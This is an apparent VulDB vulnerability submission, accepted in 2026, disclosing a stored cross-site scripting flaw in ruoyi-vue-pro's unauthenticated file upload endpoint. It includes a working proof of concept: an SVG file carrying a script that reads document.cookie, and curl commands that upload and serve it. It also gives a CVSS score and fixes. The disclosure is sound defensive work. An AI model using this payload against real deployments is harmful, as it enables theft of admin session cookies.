| tiêu đề | zhijiantianya ruoyi-vue-pro 2026.06 跨站脚本 |
|---|
| Mô tả | A stored cross-site scripting (XSS) vulnerability was discovered in the file upload functionality of ruoyi-vue-pro (yudao-server). The application allows uploading SVG files without content type validation. When the uploaded SVG file is accessed, it is served with Content-Type: image/svg+xml and Content-Disposition: inline, causing the browser to execute JavaScript embedded in the SVG.
Vulnerable file: yudao-module-infra/src/main/java/cn/iocoder/yudao/module/infra/controller/admin/file/FileController.java
Critical finding: The app-api endpoint (/app-api/infra/file/upload) is annotated with @PermitAll, allowing unauthenticated attackers to upload malicious SVG files.
Affected endpoints:
- POST /app-api/infra/file/upload (unauthenticated, @PermitAll)
- POST /admin-api/infra/file/upload (authenticated)
Proof of Concept:
```bash
# Create malicious SVG
cat > xss.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<script type="text/ecmascript">alert(document.cookie)</script>
</svg>
EOF
# Upload SVG (no authentication required)
curl -X POST 'http://target:48080/app-api/infra/file/upload' \
-H 'tenant-id: 1' -F '[email protected]'
# Response: {"code":0,"data":"http://target/admin-api/infra/file/4/get/.../xss.svg"}
# Access file (no authentication required)
curl -I 'http://target:48080/admin-api/infra/file/4/get/.../xss.svg'
# Content-Type: image/svg+xml;charset=UTF-8
# Content-Disposition: inline;filename="xss.svg"
```
When victim browser accesses the file URL, JavaScript in SVG is executed.
Verification results (dynamically confirmed):
- SVG upload successful (app-api, no authentication)
- File served with image/svg+xml + inline
- Browser executes JavaScript in SVG
- File access requires no authentication
Impact:
1. Stored XSS: malicious SVG persisted on server
2. Cookie theft: steal admin session cookies
3. Unauthenticated exploitation: attacker needs no login
CVSS 3.1: 7.5 High (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)
Solution:
1. File type whitelist: block SVG, HTML
2. Force SVG as application/octet-stream + attachment
3. Or sanitize SVG content (remove <script> tags) |
|---|
| Nguồn | ⚠️ https://github.com/YunaiV/ruoyi-vue-pro/blob/master/yudao-module-infra/src/main/java/cn/iocoder/yudao/module/infra/controller/admin/file/FileController.java |
|---|
| Người dùng | liuyulin (UID 100186) |
|---|
| Đệ trình | 29/07/2026 03:46 (cách đây 2 các tháng) |
|---|
| Kiểm duyệt | 24/09/2026 13:34 (2 months later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 409330 [YunaiV/zhijiantianya ruoyi-vue-pro đến 2026.08 File Upload FileController.java Tập lệnh chéo trang] |
|---|
| điểm | 20 |
|---|